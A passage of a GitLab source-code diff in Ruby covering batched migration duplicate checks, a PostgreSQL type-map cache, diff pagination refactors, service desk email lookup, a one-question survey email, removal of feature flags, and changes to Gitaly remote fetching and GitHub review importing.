+
+ The migration is expected to take at least #{duration} seconds. Expect all jobs to have completed after #{Time.zone.now + duration}."
+ SAY
+
+ duration
+ end
+
# Creates a batched background migration for the given table. A batched migration runs one job
# at a time, computing the bounds of the next batch based on the current migration settings and the previous
# batch bounds. Each job's execution status is tracked in the database as the migration runs. The given job
# class must be present in the Gitlab::BackgroundMigration module, and the batch class (if specified) must be
# present in the Gitlab::BackgroundMigration::BatchingStrategies module.
#
+ # If migration with same job_class_name, table_name, column_name, and job_aruments already exists, this helper
+ # will log an warning and not create a new one.
+ #
# job_class_name - The background migration job class as a string
# batch_table_name - The name of the table the migration will batch over
# batch_column_name - The name of the column the migration will batch over
@@ -180,6 +219,13 @@ module Gitlab
sub_batch_size: SUB_BATCH_SIZE
)
+ if Gitlab::Database::BackgroundMigration::BatchedMigration.for_configuration(job_class_name, batch_table_name, batch_column_name, job_arguments).exists?
+ Gitlab::AppLogger.warn "Batched background migration not enqueued because it already exists: " \
+ "job_class_name: #{job_class_name}, table_name: #{batch_table_name}, column_name: #{batch_column_name}, " \
+ "job_arguments: #{job_arguments.inspect}"
+ return
+ end
+
job_interval = BATCH_MIN_DELAY if job_interval < BATCH_MIN_DELAY
batch_max_value ||= connection.select_value(<<~SQL)
@@ -194,13 +240,13 @@ module Gitlab
job_class_name: job_class_name,
table_name: batch_table_name,
column_name: batch_column_name,
+ job_arguments: job_arguments,
interval: job_interval,
min_value: batch_min_value,
max_value: batch_max_value,
batch_class_name: batch_class_name,
batch_size: batch_size,
sub_batch_size: sub_batch_size,
- job_arguments: job_arguments,
status: migration_status)
# This guard is necessary since #total_tuple_count was only introduced schema-wise,
diff --git a/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb b/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb
index 906312478ac..88affaa9757 100644
--- a/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb
+++ b/lib/gitlab/database/postgresql_adapter/empty_query_ping.rb
@@ -1,5 +1,8 @@
# frozen_string_literal: true
+# This patch will be included in the next Rails release: https://github.com/rails/rails/pull/42368
+raise 'This patch can be removed' if Rails::VERSION::MAJOR > 6
+
# rubocop:disable Gitlab/ModuleWithInstanceVariables
module Gitlab
module Database
diff --git a/lib/gitlab/database/postgresql_adapter/type_map_cache.rb b/lib/gitlab/database/postgresql_adapter/type_map_cache.rb
new file mode 100644
index 00000000000..ff66d9115ab
--- /dev/null
+++ b/lib/gitlab/database/postgresql_adapter/type_map_cache.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+# Caches loading of additional types from the DB
+# https://github.com/rails/rails/blob/v6.0.3.2/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L521-L589
+
+# rubocop:disable Gitlab/ModuleWithInstanceVariables
+
+module Gitlab
+ module Database
+ module PostgresqlAdapter
+ module TypeMapCache
+ extend ActiveSupport::Concern
+
+ TYPE_MAP_CACHE_MONITOR = ::Monitor.new
+
+ class_methods do
+ def type_map_cache
+ TYPE_MAP_CACHE_MONITOR.synchronize do
+ @type_map_cache ||= {}
+ end
+ end
+ end
+
+ def initialize_type_map(map = type_map)
+ TYPE_MAP_CACHE_MONITOR.synchronize do
+ cached_type_map = self.class.type_map_cache[@connection_parameters.hash]
+ break @type_map = cached_type_map if cached_type_map
+
+ super
+ self.class.type_map_cache[@connection_parameters.hash] = map
+ end
+ end
+
+ def reload_type_map
+ TYPE_MAP_CACHE_MONITOR.synchronize do
+ self.class.type_map_cache[@connection_parameters.hash] = nil
+ end
+
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/diff/file_collection/base.rb b/lib/gitlab/diff/file_collection/base.rb
index 9ed03c05f0b..f3f0f227a8c 100644
--- a/lib/gitlab/diff/file_collection/base.rb
+++ b/lib/gitlab/diff/file_collection/base.rb
@@ -19,6 +19,7 @@ module Gitlab
@diffable = diffable
@include_stats = diff_options.delete(:include_stats)
+ @pagination_data = diff_options.delete(:pagination_data)
@project = project
@diff_options = diff_options
@diff_refs = diff_refs
@@ -47,11 +48,7 @@ module Gitlab
end
def pagination_data
- {
- current_page: nil,
- next_page: nil,
- total_pages: nil
- }
+ @pagination_data || empty_pagination_data
end
# This mutates `diff_files` lines.
@@ -90,6 +87,14 @@ module Gitlab
private
+ def empty_pagination_data
+ {
+ current_page: nil,
+ next_page: nil,
+ total_pages: nil
+ }
+ end
+
def diff_stats_collection
strong_memoize(:diff_stats) do
next unless fetch_diff_stats?
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
index 64523f3b730..5ff7c88970c 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb
@@ -21,9 +21,9 @@ module Gitlab
@paginated_collection = load_paginated_collection(batch_page, batch_size, diff_options)
@pagination_data = {
- current_page: batch_gradual_load? ? nil : @paginated_collection.current_page,
- next_page: batch_gradual_load? ? nil : @paginated_collection.next_page,
- total_pages: batch_gradual_load? ? relation.size : @paginated_collection.total_pages
+ current_page: current_page,
+ next_page: next_page,
+ total_pages: total_pages
}
end
@@ -62,6 +62,24 @@ module Gitlab
@merge_request_diff.merge_request_diff_files
end
+ def current_page
+ return if @paginated_collection.blank?
+
+ batch_gradual_load? ? nil : @paginated_collection.current_page
+ end
+
+ def next_page
+ return if @paginated_collection.blank?
+
+ batch_gradual_load? ? nil : @paginated_collection.next_page
+ end
+
+ def total_pages
+ return if @paginated_collection.blank?
+
+ batch_gradual_load? ? relation.size : @paginated_collection.total_pages
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def load_paginated_collection(batch_page, batch_size, diff_options)
batch_page ||= DEFAULT_BATCH_PAGE
diff --git a/lib/gitlab/diff/highlight.rb b/lib/gitlab/diff/highlight.rb
index 6a41ed0f29e..32ce35110f8 100644
--- a/lib/gitlab/diff/highlight.rb
+++ b/lib/gitlab/diff/highlight.rb
@@ -70,12 +70,6 @@ module Gitlab
return rich_line if marker_ranges.blank?
begin
- # MarkerRange objects are converted to Ranges to keep the previous behavior
- # Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324068
- if Feature.disabled?(:introduce_marker_ranges, project, default_enabled: :yaml)
- marker_ranges = marker_ranges.map { |marker_range| marker_range.to_range }
- end
-
InlineDiffMarker.new(diff_line.text, rich_line).mark(marker_ranges)
# This should only happen when the encoding of the diff doesn't
# match the blob, which is a bug. But we shouldn't fail to render
diff --git a/lib/gitlab/diff/highlight_cache.rb b/lib/gitlab/diff/highlight_cache.rb
index 209462fd6e9..a792eafde79 100644
--- a/lib/gitlab/diff/highlight_cache.rb
+++ b/lib/gitlab/diff/highlight_cache.rb
@@ -74,7 +74,6 @@ module Gitlab
diffable.cache_key,
VERSION,
diff_options,
- Feature.enabled?(:introduce_marker_ranges, diffable.project, default_enabled: :yaml),
Feature.enabled?(:use_marker_ranges, diffable.project, default_enabled: :yaml),
Feature.enabled?(:diff_line_syntax_highlighting, diffable.project, default_enabled: :yaml)
].join(":")
diff --git a/lib/gitlab/email/handler/reply_processing.rb b/lib/gitlab/email/handler/reply_processing.rb
index 63334169c8e..fd3143488b1 100644
--- a/lib/gitlab/email/handler/reply_processing.rb
+++ b/lib/gitlab/email/handler/reply_processing.rb
@@ -84,6 +84,8 @@ module Gitlab
end
def valid_project_slug?(found_project)
+ return false unless found_project
+
project_slug == found_project.full_path_slug
end
diff --git a/lib/gitlab/email/handler/service_desk_handler.rb b/lib/gitlab/email/handler/service_desk_handler.rb
index cab3538a447..05daa08530e 100644
--- a/lib/gitlab/email/handler/service_desk_handler.rb
+++ b/lib/gitlab/email/handler/service_desk_handler.rb
@@ -65,10 +65,9 @@ module Gitlab
def project_from_key
return unless match = service_desk_key.match(PROJECT_KEY_PATTERN)
- project = Project.find_by_service_desk_project_key(match[:key])
- return unless valid_project_key?(project, match[:slug])
-
- project
+ Project.with_service_desk_key(match[:key]).find do |project|
+ valid_project_key?(project, match[:slug])
+ end
end
def valid_project_key?(project, slug)
diff --git a/lib/gitlab/email/message/in_product_marketing.rb b/lib/gitlab/email/message/in_product_marketing.rb
index d538238f26f..fb4315e74b2 100644
--- a/lib/gitlab/email/message/in_product_marketing.rb
+++ b/lib/gitlab/email/message/in_product_marketing.rb
@@ -6,10 +6,8 @@ module Gitlab
module InProductMarketing
UnknownTrackError = Class.new(StandardError)
- TRACKS = [:create, :verify, :team, :trial].freeze
-
def self.for(track)
- raise UnknownTrackError unless TRACKS.include?(track)
+ raise UnknownTrackError unless Namespaces::InProductMarketingEmailsService::TRACKS.key?(track)
"Gitlab::Email::Message::InProductMarketing::#{track.to_s.classify}".constantize
end
diff --git a/lib/gitlab/email/message/in_product_marketing/base.rb b/lib/gitlab/email/message/in_product_marketing/base.rb
index 6341a7c7596..89acc058a46 100644
--- a/lib/gitlab/email/message/in_product_marketing/base.rb
+++ b/lib/gitlab/email/message/in_product_marketing/base.rb
@@ -10,10 +10,11 @@ module Gitlab
attr_accessor :format
- def initialize(group:, series:, format: :html)
+ def initialize(group:, user:, series:, format: :html)
raise ArgumentError, "Only #{total_series} series available for this track." unless series.between?(0, total_series - 1)
@group = group
+ @user = user
@series = series
@format = format
end
@@ -103,11 +104,7 @@ module Gitlab
protected
- attr_reader :group, :series
-
- def total_series
- 3
- end
+ attr_reader :group, :user, :series
private
@@ -115,6 +112,10 @@ module Gitlab
self.class.name.demodulize.downcase.to_sym
end
+ def total_series
+ Namespaces::InProductMarketingEmailsService::TRACKS[track][:interval_days].size
+ end
+
def unsubscribe_com
[
s_('InProductMarketing|If you no longer wish to receive marketing emails from us,'),
diff --git a/lib/gitlab/email/message/in_product_marketing/experience.rb b/lib/gitlab/email/message/in_product_marketing/experience.rb
new file mode 100644
index 00000000000..4156a737517
--- /dev/null
+++ b/lib/gitlab/email/message/in_product_marketing/experience.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Email
+ module Message
+ module InProductMarketing
+ class Experience < Base
+ include Gitlab::Utils::StrongMemoize
+
+ EASE_SCORE_SURVEY_ID = 1
+
+ def subject_line
+ s_('InProductMarketing|Do you have a minute?')
+ end
+
+ def tagline
+ end
+
+ def title
+ s_('InProductMarketing|We want your GitLab experience to be great')
+ end
+
+ def subtitle
+ s_('InProductMarketing|Take this 1-question survey!')
+ end
+
+ def body_line1
+ s_('InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}').html_safe % strong_options
+ end
+
+ def body_line2
+ s_('InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy.')
+ end
+
+ def cta_text
+ end
+
+ def feedback_link(rating)
+ params = {
+ onboarding_progress: onboarding_progress,
+ response: rating,
+ show_invite_link: show_invite_link,
+ survey_id: EASE_SCORE_SURVEY_ID
+ }
+
+ "#{Gitlab::Saas.com_url}/-/survey_responses?#{params.to_query}"
+ end
+
+ def feedback_ratings(rating)
+ [
+ s_('InProductMarketing|Very difficult'),
+ s_('InProductMarketing|Difficult'),
+ s_('InProductMarketing|Neutral'),
+ s_('InProductMarketing|Easy'),
+ s_('InProductMarketing|Very easy')
+ ][rating - 1]
+ end
+
+ def feedback_thanks
+ s_('InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!')
+ end
+
+ private
+
+ def onboarding_progress
+ strong_memoize(:onboarding_progress) do
+ group.onboarding_progress.number_of_completed_actions
+ end
+ end
+
+ def show_invite_link
+ strong_memoize(:show_invite_link) do
+ group.member_count > 1 && group.max_member_access_for_user(user) >= GroupMember::DEVELOPER && user.preferred_language == 'en'
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/email/receiver.rb b/lib/gitlab/email/receiver.rb
index 71db8ab6067..8139a294269 100644
--- a/lib/gitlab/email/receiver.rb
+++ b/lib/gitlab/email/receiver.rb
@@ -20,7 +20,7 @@ module Gitlab
raise UnknownIncomingEmail unless handler
handler.execute.tap do
- Gitlab::Metrics.add_event(handler.metrics_event, handler.metrics_params)
+ Gitlab::Metrics::BackgroundTransaction.current&.add_event(handler.metrics_event, handler.metrics_params)
end
end
diff --git a/lib/gitlab/emoji.rb b/lib/gitlab/emoji.rb
index e6f71e3ad3c..2b5f465d3c5 100644
--- a/lib/gitlab/emoji.rb
+++ b/lib/gitlab/emoji.rb
@@ -41,7 +41,17 @@ module Gitlab
end
def emoji_image_tag(name, src)
- "<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{src}' height='20' width='20' align='absmiddle' />"
+ image_options = {
+ class: 'emoji',
+ src: src,
+ title: ":#{name}:",
+ alt: ":#{name}:",
+ height: 20,
+ width: 20,
+ align: 'absmiddle'
+ }
+
+ ActionController::Base.helpers.tag(:img, image_options)
end
def emoji_exists?(name)
diff --git a/lib/gitlab/error_tracking.rb b/lib/gitlab/error_tracking.rb
index e91488c7c27..38ac5d9af74 100644
--- a/lib/gitlab/error_tracking.rb
+++ b/lib/gitlab/error_tracking.rb
@@ -146,9 +146,6 @@ module Gitlab
else
inject_context_for_exception(event, ex.cause) if ex.cause.present?
end
- # This should only happen on PostgreSQL v12 queries
- rescue PgQuery::ParseError
- event.extra[:sql] = ex.sql.to_s
end
end
end
diff --git a/lib/gitlab/etag_caching/middleware.rb b/lib/gitlab/etag_caching/middleware.rb
index 8c916375a98..d5bf0cffb1e 100644
--- a/lib/gitlab/etag_caching/middleware.rb
+++ b/lib/gitlab/etag_caching/middleware.rb
@@ -67,10 +67,11 @@ module Gitlab
add_instrument_for_cache_hit(status_code, route, request)
+ Gitlab::ApplicationContext.push(feature_category: route.feature_category)
+
new_headers = {
'ETag' => etag,
- 'X-Gitlab-From-Cache' => 'true',
- ::Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER => route.feature_category
+ 'X-Gitlab-From-Cache' => 'true'
}
[status_code, new_headers, []]
diff --git a/lib/gitlab/exclusive_lease_helpers.rb b/lib/gitlab/exclusive_lease_helpers.rb
index da5b0afad38..7cf0232fbf2 100644
--- a/lib/gitlab/exclusive_lease_helpers.rb
+++ b/lib/gitlab/exclusive_lease_helpers.rb
@@ -25,7 +25,7 @@ module Gitlab
# a proc that computes the sleep time given the number of preceding attempts
# (from 1 to retries - 1)
#
- # Note: It's basically discouraged to use this method in a unicorn thread,
+ # Note: It's basically discouraged to use this method in a webserver thread,
# because this ties up all thread related resources until all `retries` are consumed.
# This could potentially eat up all connection pools.
def in_lock(key, ttl: 1.minute, retries: 10, sleep_sec: 0.01.seconds)
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index e4233b8a935..fe3dd4759d6 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -45,12 +45,6 @@ module Gitlab
remove_known_trial_form_fields: {
tracking_category: 'Growth::Conversion::Experiment::RemoveKnownTrialFormFields'
},
- invite_members_empty_project_version_a: {
- tracking_category: 'Growth::Expansion::Experiment::InviteMembersEmptyProjectVersionA'
- },
- trial_during_signup: {
- tracking_category: 'Growth::Conversion::Experiment::TrialDuringSignup'
- },
invite_members_new_dropdown: {
tracking_category: 'Growth::Expansion::Experiment::InviteMembersNewDropdown'
},
@@ -62,10 +56,12 @@ module Gitlab
tracking_category: 'Growth::Conversion::Experiment::TrialOnboardingIssues'
},
learn_gitlab_a: {
- tracking_category: 'Growth::Conversion::Experiment::LearnGitLabA'
+ tracking_category: 'Growth::Conversion::Experiment::LearnGitLabA',
+ rollout_strategy: :user
},
learn_gitlab_b: {
- tracking_category: 'Growth::Activation::Experiment::LearnGitLabB'
+ tracking_category: 'Growth::Activation::Experiment::LearnGitLabB',
+ rollout_strategy: :user
},
in_product_marketing_emails: {
tracking_category: 'Growth::Activation::Experiment::InProductMarketingEmails'
diff --git a/lib/gitlab/experimentation/controller_concern.rb b/lib/gitlab/experimentation/controller_concern.rb
index e53689eb89b..ca9205a8f8c 100644
--- a/lib/gitlab/experimentation/controller_concern.rb
+++ b/lib/gitlab/experimentation/controller_concern.rb
@@ -56,7 +56,7 @@ module Gitlab
return if dnt_enabled?
track_experiment_event_for(experiment_key, action, value, subject: subject) do |tracking_data|
- ::Gitlab::Tracking.event(tracking_data.delete(:category), tracking_data.delete(:action), **tracking_data)
+ ::Gitlab::Tracking.event(tracking_data.delete(:category), tracking_data.delete(:action), **tracking_data.merge!(user: current_user))
end
end
diff --git a/lib/gitlab/file_hook.rb b/lib/gitlab/file_hook.rb
index e398a3f9585..a8719761278 100644
--- a/lib/gitlab/file_hook.rb
+++ b/lib/gitlab/file_hook.rb
@@ -11,7 +11,7 @@ module Gitlab
end
def self.dir_glob
- Dir.glob([Rails.root.join('file_hooks/*'), Rails.root.join('plugins/*')])
+ Dir.glob(Rails.root.join('file_hooks/*'))
end
private_class_method :dir_glob
diff --git a/lib/gitlab/file_hook_logger.rb b/lib/gitlab/file_hook_logger.rb
index c5e69172016..4d6a650161f 100644
--- a/lib/gitlab/file_hook_logger.rb
+++ b/lib/gitlab/file_hook_logger.rb
@@ -3,7 +3,7 @@
module Gitlab
class FileHookLogger < Gitlab::Logger
def self.file_name_noext
- 'plugin'
+ 'file_hook'
end
end
end
diff --git a/lib/gitlab/git/conflict/resolver.rb b/lib/gitlab/git/conflict/resolver.rb
index 751184b23df..aa5d50d1fb1 100644
--- a/lib/gitlab/git/conflict/resolver.rb
+++ b/lib/gitlab/git/conflict/resolver.rb
@@ -18,9 +18,9 @@ module Gitlab
def conflicts
@conflicts ||= wrapped_gitaly_errors do
gitaly_conflicts_client(@target_repository).list_conflict_files.to_a
+ rescue GRPC::FailedPrecondition => e
+ raise Gitlab::Git::Conflict::Resolver::ConflictSideMissing, e.message
end
- rescue GRPC::FailedPrecondition => e
- raise Gitlab::Git::Conflict::Resolver::ConflictSideMissing, e.message
rescue GRPC::BadStatus => e
raise Gitlab::Git::CommandError, e
end
diff --git a/lib/gitlab/git/diff_collection.rb b/lib/gitlab/git/diff_collection.rb
index fb947c80b7e..631624c068c 100644
--- a/lib/gitlab/git/diff_collection.rb
+++ b/lib/gitlab/git/diff_collection.rb
@@ -12,11 +12,7 @@ module Gitlab
delegate :max_files, :max_lines, :max_bytes, :safe_max_files, :safe_max_lines, :safe_max_bytes, to: :limits
def self.default_limits(project: nil)
- if Feature.enabled?(:increased_diff_limits, project)
- { max_files: 300, max_lines: 10000 }
- else
- { max_files: 100, max_lines: 5000 }
- end
+ { max_files: ::Commit.diff_safe_max_files(project: project), max_lines: ::Commit.diff_safe_max_lines(project: project) }
end
def self.limits(options = {})
diff --git a/lib/gitlab/git/lfs_changes.rb b/lib/gitlab/git/lfs_changes.rb
index a8d1ea08275..6c4191ce25b 100644
--- a/lib/gitlab/git/lfs_changes.rb
+++ b/lib/gitlab/git/lfs_changes.rb
@@ -3,13 +3,13 @@
module Gitlab
module Git
class LfsChanges
- def initialize(repository, newrev = nil)
+ def initialize(repository, newrevs = nil)
@repository = repository
- @newrev = newrev
+ @newrevs = newrevs
end
def new_pointers(object_limit: nil, not_in: nil, dynamic_timeout: nil)
- @repository.gitaly_blob_client.get_new_lfs_pointers(@newrev, object_limit, not_in, dynamic_timeout)
+ @repository.gitaly_blob_client.get_new_lfs_pointers(@newrevs, object_limit, not_in, dynamic_timeout)
end
def all_pointers
diff --git a/lib/gitlab/git/remote_repository.rb b/lib/gitlab/git/remote_repository.rb
index 234541d8145..0ea009930b0 100644
--- a/lib/gitlab/git/remote_repository.rb
+++ b/lib/gitlab/git/remote_repository.rb
@@ -53,23 +53,6 @@ module Gitlab
gitaly_repository.relative_path == other_repository.relative_path
end
- def fetch_env
- gitaly_ssh = File.absolute_path(File.join(Gitlab.config.gitaly.client_path, 'gitaly-ssh'))
- gitaly_address = gitaly_client.address(storage)
- gitaly_token = gitaly_client.token(storage)
-
- request = Gitaly::SSHUploadPackRequest.new(repository: gitaly_repository)
- env = {
- 'GITALY_ADDRESS' => gitaly_address,
- 'GITALY_PAYLOAD' => request.to_json,
- 'GITALY_WD' => Dir.pwd,
- 'GIT_SSH_COMMAND' => "#{gitaly_ssh} upload-pack"
- }
- env['GITALY_TOKEN'] = gitaly_token if gitaly_token.present?
-
- env
- end
-
def path
@repository.path
end
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index 102fe60f2cb..e38c7b516ee 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -302,8 +302,6 @@ module Gitlab
private :archive_file_path
def archive_version_path
- return '' unless Feature.enabled?(:include_lfs_blobs_in_archive, default_enabled: true)
-
'@v2'
end
private :archive_version_path
@@ -797,15 +795,19 @@ module Gitlab
# Fetch remote for repository
#
# remote - remote name
+ # url - URL of the remote to fetch. `remote` is not used in this case.
+ # refmap - if url is given, determines which references should get fetched where
# ssh_auth - SSH known_hosts data and a private key to use for public-key authentication
# forced - should we use --force flag?
# no_tags - should we use --no-tags flag?
# prune - should we use --prune flag?
# check_tags_changed - should we ask gitaly to calculate whether any tags changed?
- def fetch_remote(remote, ssh_auth: nil, forced: false, no_tags: false, prune: true, check_tags_changed: false)
+ def fetch_remote(remote, url: nil, refmap: nil, ssh_auth: nil, forced: false, no_tags: false, prune: true, check_tags_changed: false)
wrapped_gitaly_errors do
gitaly_repository_client.fetch_remote(
remote,
+ url: url,
+ refmap: refmap,
ssh_auth: ssh_auth,
forced: forced,
no_tags: no_tags,
diff --git a/lib/gitlab/git_access.rb b/lib/gitlab/git_access.rb
index b5e7220889e..b2a65d9f2d8 100644
--- a/lib/gitlab/git_access.rb
+++ b/lib/gitlab/git_access.rb
@@ -334,23 +334,15 @@ module Gitlab
# clear stale lock files.
project.repository.clean_stale_repository_files if project.present?
- # Iterate over all changes to find if user allowed all of them to be applied
- changes_list.each.with_index do |change, index|
- first_change = index == 0
-
- # If user does not have access to make at least one change, cancel all
- # push by allowing the exception to bubble up
- check_single_change_access(change, skip_lfs_integrity_check: !first_change)
- end
+ check_access!
end
end
- def check_single_change_access(change, skip_lfs_integrity_check: false)
- Checks::ChangeAccess.new(
- change,
+ def check_access!
+ Checks::ChangesAccess.new(
+ changes_list.changes,
user_access: user_access,
project: project,
- skip_lfs_integrity_check: skip_lfs_integrity_check,
protocol: protocol,
logger: logger
).validate!
diff --git a/lib/gitlab/git_access_snippet.rb b/lib/gitlab/git_access_snippet.rb
index 9a431dc7088..4d87b91764a 100644
--- a/lib/gitlab/git_access_snippet.rb
+++ b/lib/gitlab/git_access_snippet.rb
@@ -109,20 +109,18 @@ module Gitlab
end
check_size_before_push!
+ check_access!
+ check_push_size!
+ end
+ override :check_access!
+ def check_access!
changes_list.each do |change|
# If user does not have access to make at least one change, cancel all
# push by allowing the exception to bubble up
- check_single_change_access(change)
+ Checks::SnippetCheck.new(change, default_branch: snippet.default_branch, root_ref: snippet.repository.root_ref, logger: logger).validate!
+ Checks::PushFileCountCheck.new(change, repository: repository, limit: Snippet.max_file_limit, logger: logger).validate!
end
-
- check_push_size!
- end
-
- override :check_single_change_access
- def check_single_change_access(change, _skip_lfs_integrity_check: false)
- Checks::SnippetCheck.new(change, default_branch: snippet.default_branch, root_ref: snippet.repository.root_ref, logger: logger).validate!
- Checks::PushFileCountCheck.new(change, repository: repository, limit: Snippet.max_file_limit, logger: logger).validate!
rescue Checks::TimedLogger::TimeoutError
raise TimeoutError, logger.full_message
end
diff --git a/lib/gitlab/gitaly_client/blob_service.rb b/lib/gitlab/gitaly_client/blob_service.rb
index affd3986381..e4c8dc150a5 100644
--- a/lib/gitlab/gitaly_client/blob_service.rb
+++ b/lib/gitlab/gitaly_client/blob_service.rb
@@ -77,8 +77,8 @@ module Gitlab
map_blob_types(response)
end
- def get_new_lfs_pointers(revision, limit, not_in, dynamic_timeout = nil)
- request, rpc = create_new_lfs_pointers_request(revision, limit, not_in)
+ def get_new_lfs_pointers(revisions, limit, not_in, dynamic_timeout = nil)
+ request, rpc = create_new_lfs_pointers_request(revisions, limit, not_in)
timeout =
if dynamic_timeout
@@ -109,7 +109,7 @@ module Gitlab
private
- def create_new_lfs_pointers_request(revision, limit, not_in)
+ def create_new_lfs_pointers_request(revisions, limit, not_in)
# If the check happens for a change which is using a quarantine
# environment for incoming objects, then we can avoid doing the
# necessary graph walk to detect only new LFS pointers and instead scan
@@ -126,7 +126,7 @@ module Gitlab
[request, :list_all_lfs_pointers]
else
- revisions = [revision]
+ revisions = Array.wrap(revisions)
revisions += if not_in.nil? || not_in == :all
["--not", "--all"]
else
diff --git a/lib/gitlab/gitaly_client/remote_service.rb b/lib/gitlab/gitaly_client/remote_service.rb
index 04dd394a2bd..1f360385111 100644
--- a/lib/gitlab/gitaly_client/remote_service.rb
+++ b/lib/gitlab/gitaly_client/remote_service.rb
@@ -45,18 +45,9 @@ module Gitlab
# The remote_name parameter is deprecated and will be removed soon.
def find_remote_root_ref(remote_name, remote_url, authorization)
- request = if Feature.enabled?(:find_remote_root_refs_inmemory, default_enabled: :yaml)
- Gitaly::FindRemoteRootRefRequest.new(
- repository: @gitaly_repo,
- remote_url: remote_url,
- http_authorization_header: authorization
- )
- else
- Gitaly::FindRemoteRootRefRequest.new(
- repository: @gitaly_repo,
- remote: remote_name
- )
- end
+ request = Gitaly::FindRemoteRootRefRequest.new(repository: @gitaly_repo,
+ remote_url: remote_url,
+ http_authorization_header: authorization)
response = GitalyClient.call(@storage, :remote_service,
:find_remote_root_ref, request, timeout: GitalyClient.medium_timeout)
diff --git a/lib/gitlab/gitaly_client/repository_service.rb b/lib/gitlab/gitaly_client/repository_service.rb
index d2dbd456180..6a75096ff80 100644
--- a/lib/gitlab/gitaly_client/repository_service.rb
+++ b/lib/gitlab/gitaly_client/repository_service.rb
@@ -70,13 +70,21 @@ module Gitlab
end.join
end
- def fetch_remote(remote, ssh_auth:, forced:, no_tags:, timeout:, prune: true, check_tags_changed: false)
+ # rubocop: disable Metrics/ParameterLists
+ # The `remote` parameter is going away soonish anyway, at which point the
+ # Rubocop warning can be enabled again.
+ def fetch_remote(remote, url:, refmap:, ssh_auth:, forced:, no_tags:, timeout:, prune: true, check_tags_changed: false)
request = Gitaly::FetchRemoteRequest.new(
repository: @gitaly_repo, remote: remote, force: forced,
no_tags: no_tags, timeout: timeout, no_prune: !prune,
check_tags_changed: check_tags_changed
)
+ if url
+ request.remote_params = Gitaly::Remote.new(url: url,
+ mirror_refmaps: Array.wrap(refmap).map(&:to_s))
+ end
+
if ssh_auth&.ssh_mirror_url?
if ssh_auth.ssh_key_auth? && ssh_auth.ssh_private_key.present?
request.ssh_key = ssh_auth.ssh_private_key
@@ -89,6 +97,7 @@ module Gitlab
GitalyClient.call(@storage, :repository_service, :fetch_remote, request, timeout: GitalyClient.long_timeout)
end
+ # rubocop: enable Metrics/ParameterLists
def create_repository
request = Gitaly::CreateRepositoryRequest.new(repository: @gitaly_repo)
diff --git a/lib/gitlab/github_import/importer/pull_requests_importer.rb b/lib/gitlab/github_import/importer/pull_requests_importer.rb
index 7f1569f592f..28cd3f802a2 100644
--- a/lib/gitlab/github_import/importer/pull_requests_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_importer.rb
@@ -36,7 +36,11 @@ module Gitlab
# updating the timestamp.
project.update_column(:last_repository_updated_at, Time.zone.now)
- project.repository.fetch_remote('github', forced: false)
+ if Feature.enabled?(:fetch_remote_params, project, default_enabled: :yaml)
+ project.repository.fetch_remote('github', url: project.import_url, refmap: Gitlab::GithubImport.refmap, forced: false)
+ else
+ project.repository.fetch_remote('github', forced: false)
+ end
pname = project.path_with_namespace
diff --git a/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
index 827027203ff..809a518d13a 100644
--- a/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
+++ b/lib/gitlab/github_import/importer/pull_requests_reviews_importer.rb
@@ -6,6 +6,13 @@ module Gitlab
class PullRequestsReviewsImporter
include ParallelScheduling
+ def initialize(...)
+ super
+
+ @merge_requests_already_imported_cache_key =
+ "github-importer/merge_request/already-imported/#{project.id}"
+ end
+
def importer_class
PullRequestReviewImporter
end
@@ -22,11 +29,31 @@ module Gitlab
:pull_request_reviews
end
- def id_for_already_imported_cache(merge_request)
- merge_request.id
+ def id_for_already_imported_cache(review)
+ review.id
+ end
+
+ def each_object_to_import(&block)
+ if use_github_review_importer_query_only_unimported_merge_requests?
+ each_merge_request_to_import(&block)
+ else
+ each_merge_request_skipping_imported(&block)
+ end
end
- def each_object_to_import
+ private
+
+ attr_reader :merge_requests_already_imported_cache_key
+
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62036#note_587181108
+ def use_github_review_importer_query_only_unimported_merge_requests?
+ Feature.enabled?(
+ :github_review_importer_query_only_unimported_merge_requests,
+ default_enabled: :yaml
+ )
+ end
+
+ def each_merge_request_skipping_imported
project.merge_requests.find_each do |merge_request|
next if already_imported?(merge_request)
@@ -40,6 +67,67 @@ module Gitlab
mark_as_imported(merge_request)
end
end
+
+ # The worker can be interrupted, by rate limit for instance,
+ # in different situations. To avoid requesting already imported data,
+ # if the worker is interrupted:
+ # - before importing all reviews of a merge request
+ # The reviews page is cached with the `PageCounter`, by merge request.
+ # - before importing all merge requests reviews
+ # Merge requests that had all the reviews imported are cached with
+ # `mark_merge_request_reviews_imported`
+ def each_merge_request_to_import
+ each_review_page do |page, merge_request|
+ page.objects.each do |review|
+ next if already_imported?(review)
+
+ review.merge_request_id = merge_request.id
+ yield(review)
+
+ mark_as_imported(review)
+ end
+ end
+ end
+
+ def each_review_page
+ merge_requests_to_import.find_each do |merge_request|
+ # The page counter needs to be scoped by merge request to avoid skipping
